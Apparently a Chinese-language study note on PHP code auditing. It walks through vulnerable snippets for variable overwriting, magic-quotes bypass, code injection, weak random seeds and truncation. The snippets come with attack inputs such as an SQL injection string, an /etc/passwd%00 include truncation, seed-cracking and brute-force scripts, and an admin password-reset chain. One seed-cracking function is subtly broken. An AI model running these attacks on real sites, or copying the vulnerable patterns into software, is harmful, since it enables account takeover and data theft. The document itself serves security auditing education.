PHP Code Reviewing Learning

http://code-tech.diandian.com/post/2012-11-04/40042129192
http://ssv.sebug.net/高级PHP应用程序漏洞审核技术#
http://80vul.com/
http://www.php-security.org/ 

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
    5.1 变量本身的key
    5.2 变量覆盖
        5.2.1 遍历初始化变量
        5.2.2 parse_str()变量覆盖漏洞
        5.2.3 import_request_variables()变量覆盖漏洞
        5.2.4 PHP5 Globals
    5.3 magic_quotes_gpc与代码安全
        5.3.1 什么是magic_quotes_gpc
        5.3.2 哪些地方没有魔术引号的保护
        5.3.3 变量的编码与解码
        5.3.4 二次攻击
        5.3.5 魔术引号带来的新的安全问题
        5.3.6 变量key与魔术引号
    5.4 代码注射
        5.4.1 PHP中可能导致代码注射的函数
        5.4.2 变量函数与双引号
    5.5 PHP自身函数漏洞及缺陷
        5.5.1 PHP函数的溢出漏洞
        5.5.2 PHP函数的其他漏洞
        5.5.3 session_destroy()删除文件漏洞
        5.5.4 随机函数
    5.6 特殊字符
        5.6.1 截断
            5.6.1.1 include截断
            5.6.1.2 数据截断
            5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典 

<?php
    //key.php?aaaa‘aaa=1&bb‘b=2 
    //print_R($_GET); 
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
    }
?>

http://localhost/test/key.php?<script>alert(1);</script>=1&bbb=2

<?php
    //var.php?a=fuck
    $a=‘hi‘;
    foreach($_GET as $key => $value) 
    {
        $$key = $value;
    }
    print $a;
?>

$chs = ‘‘;
if($_POST && $charset != ‘utf-8‘) 
{
        $chs = new Chinese(‘UTF-8‘, $charset);
        foreach($_POST as $key => $value) 
    {
                $$key = $chs->Convert($value);
        }
        unset($chs);
...

foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request)
{
    foreach($$_request as $_k => $_v) 
    {
        if($_k == ‘nvarname‘) 
        {
            ${$_k} = $_v;
        }
        else 
        {
            ${$_k} = _RunMagicQuotes($_v);
        }
    }
}

<?php
    //var.php?var=new
    $var = ‘init‘;                     
    parse_str($_SERVER[‘QUERY_STRING‘]); 
    print $var;
?>
访问:
http://localhost/test/var.php?var=new

<?php
    //var.php?var=1&a[1]=var1%3d222
    $var1 = ‘init‘;
    parse_str($a[$_GET[‘var‘]]);
    print $var1;
?>
访问
http://localhost/test/index.php?var=1&a[1]=var1%3d222

http://www.php.net/manual/zh/function.import-request-variables.php

<?php
    //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
    echo ‘GLOBALS ‘.(int)ini_get("register_globals")."n";
    import_request_variables(‘GPC‘);
    if ($_SERVER[‘REMOTE_ADDR‘] != ‘10.1.1.1‘) 
    {
        die(‘Go away!‘);
    }
    echo ‘Hello admin!‘;
?>
访问
http://localhost/test/var.php?_SERVER[REMOTE_ADDR]=10.1.1.1

PHP 5.3.0之前有效
PHP 5.3.0起废弃
PHP 5.4.0起移除，即不管任何设置均无效

1. $_SERVER变量
PHP5的$_SERVER变量缺少magic_quotes_gpc的保护，导致近年来X-Forwarded-For的漏洞猛暴，所以很多程序员考虑过滤X-Forwarded-For，但是$_SERVER变量中的其他的变量呢？
2. getenv()得到的变量
类似$_SERVER变量 
3. $HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用与soap/xmlrpc/webpublish功能里，请看如下代码：
..
if ( !isset( $HTTP_RAW_POST_DATA ) ) 
{
        $HTTP_RAW_POST_DATA = file_get_contents( ‘php://input‘ );
}
if ( isset($HTTP_RAW_POST_DATA) )
{
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
    ...
}
...
4. 数据库操作容易忘记‘的地方如：in()/limit/order by/group by
if(is_array($msgtobuddys)) 
{
        $msgto = array_merge($msgtobuddys, array($msgtoid));
        ......
    foreach($msgto as $uid) 
    {
        $uids .= $comma.$uid;
        $comma = ‘,‘;
    }
    ......
    $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN 
($uids)");

1. 宽字节错误导致的注入
2. 覆盖度不完整，没有对程序中所有的输入变量都应用安全处理

1. stripslashes() 
这个其实就是一个decode-addslashes()
2. 其他字符串转换函数：
    1) base64_decode    对使用 MIME base64 编码的数据进行解码
    2) base64_encode    使用 MIME base64 对数据进行编码
    3) rawurldecode    对已编码的 URL 字符串进行解码
    4) rawurlencode    按照 RFC 1738 对 URL 进行编码
    5) urldecode    解码已编码的 URL 字符串
    6) urlencode    编码 URL 字符串
    ...     
3. unserialize/serialize
4. 字符集函数(GKB,UTF7/8...)
    1) iconv()
    2) mb_convert_encoding()

1. \-->\2. ‘-->\‘
3. "-->\"
4. null-->\0

1. 得到原字符 
<?php
    ...
    $order_sn=substr($_GET[‘order_sn‘], 1); 
    //提交                 ‘
    //魔术引号处理         \‘
    //substr               ‘ 
    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " . 
$ecs->table(‘order_info‘). " WHERE order_sn = ‘$order_sn‘ LIMIT 1";
2. 得到"\"字符 
<?php
    ...
    $order_sn=substr($_GET[‘order_sn‘], 0,1);  
    //提交                 ‘
    //魔术引号处理         \‘
    //substr               \   
    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " . 
$ecs->table(‘order_info‘). " WHERE order_sn = ‘$order_sn‘ and order_tn=‘".$_GET[‘order_tn‘]."‘";
    ..

提交内容： 
?order_sn=‘&order_tn=%20and%201=1/*
执行的SQL语句为： 
SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE 
order_sn = ‘\‘ and order_tn=‘ and 1=1/*‘

1. eval
2. preg_replace+/e
3. assert()
4. call_user_func()
5. call_user_func_array()
6. create_function()
7. 变量函数(动态函数)
...

<?php
    //how to exp this code
    $sort_by=$_GET[‘sort_by‘];
    $sorter=‘strnatcasecmp‘;
    $databases=array(‘test‘,‘test‘);
    $sort_function = ‘  return 1 * ‘ . $sorter . ‘($a["‘ . $sort_by . ‘"], $b["‘ . $sort_by . ‘"]);
              ‘;
    usort($databases, create_function(‘$a, $b‘, $sort_function));

<?php
    echo "$a\n";
    echo ‘$a\n‘;
?>

<?php
    //how to exp this code
    if($globals[‘bbc_email‘])
    { 
        $text = preg_replace( array("/\[email=(.*?)\](.*?)\[\/email\]/ies", "/\[email\](.*?)\[\/email\]/ies"), array(‘check_email("$1", "$2")‘, ‘check_email("$1", "$1")‘), $text);

另外，很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里，在需要使用的使用通过Include方式加载进来，这样，如果被加载的文件是变量函数(例如${${...}}这种类型的)，这就容易被人注射变量函数进而代码执行了。

http://www.php-security.org/

<?php 
    //val.php   
    session_save_path(‘./‘);
    session_start();
    if($_GET[‘del‘]) 
    {
        session_unset();
        session_destroy();
    }
    else
    {
        $_SESSION[‘hei‘]=1;
        echo(session_id());
        print_r($_SESSION);
    }
?>

1. 随机数密文空间长度问题
2. 随即发生器种子问题

<?php
    //on windows
    print mt_getrandmax(); //2147483647
    echo "</br>";
    print getrandmax();// 32767
?>

<?php
    $a= md5(rand());
    for($i=0;$i<=32767;$i++)
    {
        if(md5($i) ==$a ) 
        {
            print $i."-->ok!!<br>";
            exit;
        }
        else 
        { 
            print $i."<br>";
        }
    }
?>

function sendPSW()
{
    ....
    $messenger = &$this->system->loadModel(‘system/messenger‘);
    echo microtime() . "<br/>";
    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);
}

http://www.w3school.com.cn/php/func_date_microtime.asp

在这个案例中，生成密码的前一行，直接调用了microtime()并返回在当前页面上，这又使得攻击者以非常低的成本获得了服务器时间；且两次调用microtime()的时间间隔非常短，因此必然是在同一秒内，攻击者只需要猜解微秒数即可。

http://www.w3school.com.cn/php/func_date_microtime.asp

0.68454800 1382964876
0.68459400 1382964876

<?php

    //这个输出的作用是模拟攻击者获取到了一个关键点附近的时间
    $timebase = microtime();
    print_r($timebase . "\n");   

    //关键点，基于microtime生成"key"的地方
    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);

    //开始进行穷举
    for($i = 15000;;$i++)
    {
        $tmp = substr(md5(print_r($timebase + $i, true)), 0, 6);
        print_r($tmp . "\n"); 
        if($passwd == $tmp)
        {
            print_r("Found The Key: " . $tmp . "\n"); 
            break;
        }
    }
    print_r($passwd);

?>

在PHP 4.2.0之前的版本中，是需要通过srand()或mt_srand()给rand()、mt_rand()"播种"的。
在PHP 4.2.0之后的版本中，不在需要事先通过srand()、mt_srand()来"播种"。

mt_srand();
mt_srand((double) microtime() * 100000);
mt_srand((double) microtime() * 1000000);
mt_srand((double) microtime() * 10000000);

0 < (double) microtime() < 1 
----->
0 < (double) microtime() * 1000000 < 1000000

<?php
    mt_srand(1);

    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
?>
1244335972
15217923
1546885062
2002651684
2135443977
1865258162
1509498899
2145423170

1) 通过穷举方法猜解出种子的值
2) 通过mt_srand()对猜解出的种子值进行播种
3) 通过还原程序逻辑，计算出对用的mt_rand()产生的伪随机数的值

<?php
    mt_srand((double) microtime() * 1000000);

    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
    echo mt_rand() . "<br/>";
?>
每次访问都会得到不同的随机数值，这是因为种子每次都会发生变化。
假设攻击者已知第一个随机数的值:154176006(这在实际情况中很常见，即攻击者只能获得伪随机序列中的一部分的值，要去猜测剩下的其他值)，如何猜解出剩下的几个随机数呢？只需要猜解出当前用的种子即可。
<?php
    if($seed = get_seed())
    {
        echo "seed is: " . $seed . "\n";

        mt_srand($seed); 
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
        echo mt_rand() . "<br/>";
    }
    
    //逆向算法的逻辑，猜解出种子值
    function get_seed()
    {
        for($i = 0; $i < 1000000; $i++)
        {
            mt_srand($i);
            //mt_rand(); 对应是第几次调用mt_rand() 这在实际攻击中也要攻击者事先确认
            $str = mt_rand(); //本例中是第一次调用mt_rand()
            //对比随机数的值
            if($str == 154176006)
            {
                //返回找到的种子seed值
                return $i;
            }
            return false;
        }
    }
?>
seed is: 345466
154176006
1557534108
1434505522
563902658
470748912
1976227824
1450875174
1698782154

mt_srand((double) microtime() * 1000000);
$search_id = mt_rand();

这个我之前分析的 Discuz修改用户密码POC的分析和思考
http://www.freebuf.com/articles/web/12088.html
原理是类似的
1) 攻击者能够获得伪随机序列中的其中一个
2) 攻击者必须要确定自己获取的数值是伪随机序列中的哪一个(即序号)
3) 通过逆向算法来穷举出这个伪随机数所用的种子seed
4) 通过这个种子seed再生成其他的伪随机数

1) 使用Keep-Alive HTTP请求在phpBB2论坛中搜索字符串‘a‘;
2) 搜索必然会出来很多结果，同时也泄露了search_id;
3) 很容易通过该值猜解出随机数的种子(可以使用phpBB原生的生成算法来逆向推出种子)
4) 攻击者仍然使用Keep-Alive HTTP头发送一个重置的admin密码的请求给WordPress Blog;
5) WordPress mt_rand()生成确认链接，并发送到管理员邮箱;
6) 攻击者根据已算出的种子，可以构造出此确认链接;
7) 攻击者确认此链接(仍然使用Keep-Alive头)，WordPress将向管理员邮箱发送新生成的密码;
8) 因为新密码也是由mt_rand()生成的，攻击者仍然可以计算出来;
9) 从而攻击者最终获取了新的管理员密码

<?php 
    include $_GET[‘action‘].".php"; 
?>
提交"action=/etc/passwd%00"中的"%00"将截断后面的".php"

<?php
////////////////////
////var5.php代码:
////include $_GET[‘action‘].".php"; 
////print strlen(realpath("./"))+strlen($_GET[‘action‘]);  
///////////////////
ini_set(‘max_execution_time‘, 0);
$str=‘‘;
for($i=0;$i<50000;$i++)
{
        $str=$str."/";
 
        $resp=file_get_contents(‘http://127.0.0.1/test/index.php?action=1.txt‘.$str);
        //1.txt里的代码为print ‘hi‘;
        if (strpos($resp, ‘hi‘) !== false)
    {
                print $i;
                exit;
        }
}
?>

1) Mysql SQL Column Truncation Vulnerabilities
这个是由于mysql的sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超长的值只会提示warning，而不是error(如果是error就插入不成功)，这样可能会导致一些截断问题。测试如下：
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability
当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下：
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
很多的web应用程序没有考虑到这些问题，只是在数据存储前简单查询数据是否包含相同数据，如下代码：
$result = mysql_query("SELECT * from test_user where user=‘$user‘ ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) 
{
        die("already exist");
}

<?php
    ..
    //Is this code vul?
    if( eregi(".php",$url) )
    {
        die("ERR");
    }
    $fileurl=str_replace($webdb[www_url],"",$url);
    .....
    header(‘Content-Disposition: attachment; filename=‘.$filename);

<?php
    ..
    $fileurl=str_replace($webdb[www_url],"",$url);
    if( eregi(".php",$url) )
    {
        die("ERR");
    }

<?php
    for($i=0;$i<255;$i++) 
    {
        $url = ‘index.ph‘.chr($i);
        $tmp = @file_get_contents($url);
        if(!empty($tmp)) echo chr($i)."\r\n";
    }  
?>
ok

1. < 
2. > 
3. P
4. p

1. 分析和学习别人发现的漏洞或者exp，总结出漏洞类型及字典
2. 通过学习php手册或者官方文档，挖掘出新的有危害的函数或者利用方式
3. fuzz php的函数，找到新的有问题的函数(不一定非要溢出的)，有很多问题都可以简单的fuzz脚本可以测试出来
4. 分析php源代码，发现新的漏洞函数"特性"或者漏洞，如果你要进一步找到新的字典，可以在php源代码的基础上分析下成因，然后根据这个成因来分析寻找新的漏洞函数"特性"或者漏洞。 
5. 有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽视的问